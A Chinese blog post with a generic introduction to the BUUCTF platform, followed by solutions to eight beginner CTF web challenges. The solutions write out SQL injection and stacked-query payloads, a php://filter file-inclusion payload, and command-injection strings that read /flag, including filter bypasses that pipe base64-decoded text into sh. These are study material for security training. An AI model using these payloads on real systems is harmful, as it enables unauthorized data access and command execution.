BUUCTF:Web 解析(一)

embedded/2024/9/25 7:52:33/

前言

Buuctf Web 是一个在线安全挑战平台,旨在提高参与者对安全>网络安全的理解和实践能力。本文将详细介绍 Buuctf Web 的特点、挑战和机遇,帮助读者更好地了解这一领域。

一、Buuctf Web 的特点

多样化的挑战场景:Buuctf Web 提供了多种挑战场景,包括 Web 漏洞利用、密码破解、CTF 夺旗等,涵盖了安全>网络安全领域的各个方面。
高质量的学习资源:平台提供了丰富的学习资源,包括视频教程、文章、案例分析等,帮助参与者提高技能水平。
实时排名和互动交流:Buuctf Web 支持实时排名和互动交流功能,参与者可以在平台上与其他选手一起讨论问题、分享经验。
二、Buuctf Web 的挑战

技术难度高:安全>网络安全领域涉及的知识面广泛,技术难度较高,需要参与者具备较高的技术水平和学习能力。
时间压力大:在 CTF 夺旗等挑战中,时间是非常宝贵的资源,需要在有限的时间内快速定位问题并找到解决方案。
需要团队协作:在某些挑战中,需要团队协作才能更好地完成任务,如何有效地分工和协作也是一大挑战。
三、Buuctf Web 的机遇

提高技能水平:通过参与 Buuctf Web 的挑战,参与者可以不断提高自己的技能水平,增强在安全>网络安全领域的竞争力。
拓展人脉资源:在平台上与其他选手交流互动,可以结识志同道合的朋友,拓展人脉资源。
获得实践机会:Buuctf Web 的挑战场景都是基于真实场景设计的,参与者在挑战中可以获得宝贵的实践机会。
为未来的工作做好准备:对于那些希望在未来从事安全>网络安全相关工作的参与者来说,参与 Buuctf Web 可以为他们未来的工作做好准备。通过参与 Buuctf Web 的挑战,他们可以了解行业最新的动态和技术趋势,提高自己的职业竞争力。
四、如何参与 Buuctf Web 的挑战?

注册账号:首先需要在 Buuctf Web 平台上注册一个账号。
选择挑战场景:根据自己的兴趣和需求选择相应的挑战场景。
学习相关知识:为了更好地完成挑战,需要提前学习相关知识,如 Web 安全、密码学等。
参与挑战:按照挑战的要求完成相应的任务,与其他选手竞争排名。
交流与分享:在平台上与其他选手交流经验、分享技巧,共同提高技术水平。
总结:Buuctf Web 作为一个在线安全挑战平台,为安全>网络安全爱好者提供了一个学习和交流的平台。通过参与 Buuctf Web 的挑战,不仅可以提高自己的技能水平,还可以拓展人脉资源、了解行业动态并为未来的工作做好准备。希望本文的介绍能帮助读者更好地了解 Buuctf Web 的特点、挑战和机遇,为未来的发展做好准备。

一、[极客大挑战 2019] EasySQL

点击链接进入靶场

登录页面,查看页面源代码发现没留注释

先输入 admin' or 1=1# 提交看看(根据题意猜测考察的 SQL 注入) 

显示 Flag 

二、[极客大挑战 2019] Havefun

打开靶场

页面只有一只猫,打开 F12 检查源代码

可以发现有段注释

<!--$cat=$_GET['cat'];echo $cat;if($cat=='dog'){echo 'Syc{cat_cat_cat_cat}';}-->

含义为如果参数名 cat = dog 值,则输出 flag

在 URL 后面手动构造参数:/?cat=dog 

三、[HCTF 2018] WarmUp

打开靶场

页面只有一个猥琐笑脸,F12 查看源代码发现有注释

URL 访问这个 PHP 文件

这里就考验的是代码审计了(大概过一下就行,看重点),观察代码可以发现有个 hint.php,尝试访问一下

提示了 Flag 文件地址,继续 URL 访问

根据 ffffllllaaaagggg 推测出大概路径 

四、[ACTF2020 新生赛] Include

打开靶场

先 F12 检查源代码

发现只有超链接,点击跳转

并没有任何提示,根据题目文件猜测考察的是文件包含

flag 就藏在 flag.php 文件中,所以推测采用的是 PHP 伪协议:php://filter -- 对本地磁盘文件进行读写

构造 payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php
# (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)

拿到字符串进行解码操作 

成功拿到 flag 

五、[ACTF2020 新生赛] Exec

打开靶场

先 F12 检查源代码并没有发现注释

给出提示 Ping 应该是要咱们输入地址然后 Ping,这里输入回环地址试试 

猜测存在漏洞,输入 | ls 测试

127.0.0.1 | ls

显示文件 index.php,证明存在漏洞 

继续测试上级目录

127.0.0.1 | ls /

发现 flag,查看内容

127.0.0.1 | cat /flag

六、[GXYCTF2019] Ping Ping Ping 

打开靶场

F12 检查源代码没有发现注释

根据网页内容和题目名推测是让咱在 URL 路径上跟上参数然后执行 Ping 命令,这里先跟个 127.0.0.1 试试

/?ip=127.0.0.1

有回显,推测存在漏洞

输入 | ls 测试

?ip=127.0.0.1 | ls

发现被过滤,不加空格试试 

?ip=127.0.0.1|ls

发现 flag.php 文件 

因为过滤了空格,所以要绕过一下(过滤了大多数符号,查看 index.php 文件即可) 

?ip=127.0.0.1|cat$IFS$9index.php# $IFS是一个环境变量,用于设置shell中的字段分隔符。在这里,它被用作特殊字符
# $9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串

发现很多都过滤了,但仍能绕过

方法一:利用变量代替关键字

/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

方法二: 内联执行

先执行 ls 命令,再执行 cat

/?ip=127.0.0.1;cat$IFS$9`ls`

方法三:编码绕过

使用 base64 编码的方式来绕过 flag 过滤

/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

七、[SUCTF 2019] EasySQL 

启动靶场

F12 检查源代码

输入 flag 测试

再输入数字型 1 测试

有回显,判断存在注入点,输入 1' 测试

没有回显,得盲注了,输入 1 # 测试

能显示正常结果,说明过滤做过滤,且能推测出数据库使用的是 MySQL(还可以输入 connection_id() 判断,结果与 1 是一致的) 

输入 1,1 测试

再输入 2,1 测试

再输入 2,2 测试发现结果不变,说明第一个字段值影响结果

输入 *,1 测试找到 flag

八、[强网杯 2019] 随便注

打开靶场

给出了一个默认值 1,先提交看看

输入 1' 测试是否为注入点

输入

1' or 1=1 #

继续测试字段数

1' order by 1 # 

测试到 3 时报错,说明只有两个字段

直接堆叠注入爆破数据库

0';show databases;#

继续爆表

1';show tables;#

先爆破数字表(一看就不简单)

1';show columns from `1919810931114514 `;#

发现 flag 列,但是查询时发现 select 被过滤

再查看另一张表

1’;show columns from words;#

将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询 

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

最后输入万能密码 1' or 1=1 #


http://www.ppmy.cn/embedded/32206.html

相关文章

MySQL数据库—初识数据库 | DDL语句 | DML语句

初识数据库 ____________________________________★_______________________________________ ▐ 为什么学习数据库&#xff1f; • 以前我们在程序中存储数据. 例如&#xff1a;一个变量&#xff0c;一个对象 ( 数据存储在内存中&#xff0c;程序运行结束后就销毁 ) • …

关于Clion开发stm32printf重定向问题简单解决问题方法

title: 关于Clion开发stm32printf重定向问题简单解决问题方法 tags: STM32Clion 参考来源1 这是另一种方法 在printf 重定向的基础上加上 一句 setbuf(stdout,NULL); 参考来源2 自己写的笔记啦

第IV章-Ⅰ Vue3组件与组件通信

第IV章-Ⅰ Vue3组件与组件通信 Vue组件根组件全局组件局部组件组件模板父子组件 组件间通信子组件获取父组件数据数据传递选项prop传值校验单向数据流 父组件获取子组件数据emit 方法 多级组件通信provide 声明要传递的数据inject 接收数据 总结应用场景单向数据流&#xff08;…

基于 V2G 技术的电动汽车实时调度策略

基于V2G技术的电动汽车实时调度策略,首先以降低充电成本和网损成本为目标,建立电动汽车调度模型。然后通过构建网损灵敏度指标分析电网节点性能,基于电网负荷制定分时电价,通过潮流计算和凸优化算法实时求解得到电动汽车充放电策略。最后以 IEEE 33 节点配电网为例验证了所…

深度学习之基于Unet肺部CT图像分割项目

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景 肺部CT图像分割在医学诊断中占据重要地位&#xff0c;它有助于医生快速、准确地识别和分析肺部病变。…

使用UmcFramework和unimrcpclient.xml连接多个SIP设置的配置指南及C代码示例

使用UmcFramework和unimrcpclient.xml连接多个SIP设置的配置指南及C代码示例 引言1. UniMRCP和UmcFramework简介2. 准备工作3. unimrcpclient.xml配置文件3.1 定义SIP设置3.2 定义MRCP会话配置文件 4. C代码示例5. 测试和验证6. 故障排查7. 结论8. 参考文献 引言 在多媒体通信…

MYSQL从入门到精通(一)

1、概述 【1】使用率最高 2、数据库的重要性 【1】数组、集合、文件 【2】数据管理系统-MySQL 【3】持久化数据&#xff0c;容易管理、查询 3、相关概念 【1】DB database 数据库 【2】DBMS 数据库管理系统&#xff08;MySQL就是其中一种&#xff09; 【3】SQL 结构查询语…

stm32之hal库spi驱动封装(实现阻塞,中断,dma三种方式)

前言 配置功能参考rt-thread驱动代码将中断配置和dma配置单独分开管理 代码 中断管理 头文件 /** Copyright (c) 2024-2024,shchl** SPDX-License-Identifier: Apache-2.0** Change Logs:* Date Author Notes* 2024-5-3 shchl first version*/#ifnd…